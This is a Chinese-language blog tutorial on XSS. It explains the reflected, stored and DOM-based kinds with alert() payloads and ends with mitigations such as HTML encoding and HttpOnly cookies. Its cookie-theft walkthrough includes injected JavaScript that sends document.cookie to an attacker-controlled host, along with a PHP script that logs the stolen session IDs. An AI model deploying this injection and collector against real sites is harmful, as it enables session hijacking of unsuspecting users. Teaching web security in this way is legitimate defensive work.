Xss和Csrf介绍
2018-02-11 10:21
253 查看
Xss和Csrf介绍
Xss
Xss(跨站脚本攻击),全称Cross Site Scripting,恶意攻击者向web页面中植入恶意js代码,当用户浏览到该页时,植入的代码被执行,达到恶意攻击用户的目的。Xss攻击的危害
盗取各类用户账号
窃取有商业价值的资料
非法转账操作
强制发送电子邮件
控制受害者机器向其它网站发起攻击
等等...
原因分析
原因:没有对客户端提交的数据进行校验分析,导致恶意代码被植入。根本解决:不要相信任何客户端提交的任何数据!!!
Xss攻击的分类
反射型Xss攻击
存贮型Xss攻击
DOMBasedXSS
反射型Xss攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。正常发送消息:
http://www.test.com/message.php?send=Hello,World!
接收者将会接收信息并显示Hello,Word
非正常发送消息:
http://www.test.com/message.php?send=<script>alert("foolish!")</script>
接收者接收消息显示的时候将会弹出警告窗口。
存贮型xss攻击
又称持久性Xss攻击,存贮型Xss的攻击代码一般存储在网站的数据库中,每当用户打开网站时被执行,因此危害更大。举个栗子:
一个简单的留言板功能,表单提交域如下,
<input type="text" name="content" value="这里是用户填写的数据">
攻击者在value填写
<script>alert('foolish!')</script>
【或者html其他标签(破坏样式。。。)、一段攻击型代码】,这些代码便被提交到了数据库中,其他用户取出数据显示的时候,将会执行这些攻击性代码。
DOMBasedXSS(基于Dom的跨站点脚本攻击)
当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location或document.URL或document.referrer获取数据(或者任何其他攻击者可以修改的对象),所以应该避免直接从document.location或document.URL或document.referrer获取数据。
举个栗子:
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML>
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
使用Xss攻击来盗取cookie
1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com2、test88.com中的表单,xss.html:
<!DOCTYPE html> <html> <head> <title>xss攻击</title> <meta charset="utf-8"> </head> <body> <form action="./test99.php" method="post"> 留言:<input type="text" name="content" value=""><br/> <input type="submit" name="" value='提交'> </form> <br/>留言记录:<br/> </body> </html>
3、恶意攻击者提交表单时,插入相应代码:
<script> var Str=document.cookie; //获取cookie var a =document.createElement('a'); //创建a标签 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片 document.body.appendChild(a); //将标签添加到页面中 </script>
4、数据(攻击代码)插入数据库
5、攻击者控制的主机中设置接收盗取的cookie:
<?php header("content-type:text/html;charset=utf8"); echo "你的PHPSESSID被盗啦"; echo "<pre>"; print_r($_GET); echo "</pre>"; $cookie=$_GET['PHPSESSID']; file_put_contents('./xss.txt', $cookie); ?>
Xss漏洞的修复
HTML Encode
将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了
规定表单数据值的类型,比如年龄int、姓名int+string
过滤或移除特殊的Html标签
过滤JavaScript 事件的标签
HTML Encode对应关系表:
相关文章推荐
- 总结XSS与CSRF两种跨站攻击
- xss 攻击和 csrf 攻击浅显的理解
- PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等)
- CSRF(XSRF)和CBV的介绍和防护
- XSS CSRF 攻击
- 网站安全XSS和CSRF
- 信息安全实践-Lab3 CSRF & XSS
- CSRF攻击介绍及防御
- xss漏洞和csrf漏洞防御
- XSS介绍与攻击
- 【转】关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
- 总结 XSS 与 CSRF 两种跨站攻击
- CSRF的详细介绍与token的分析
- XSS和CSRF的理解
- Web攻防之XSS,CSRF,SQL注入
- 总结 XSS 与 CSRF 两种跨站攻击
- 总结 XSS 与 CSRF 两种跨站攻击
- XSS与CSRF攻击防御概念
- xss,csrf,SQL注入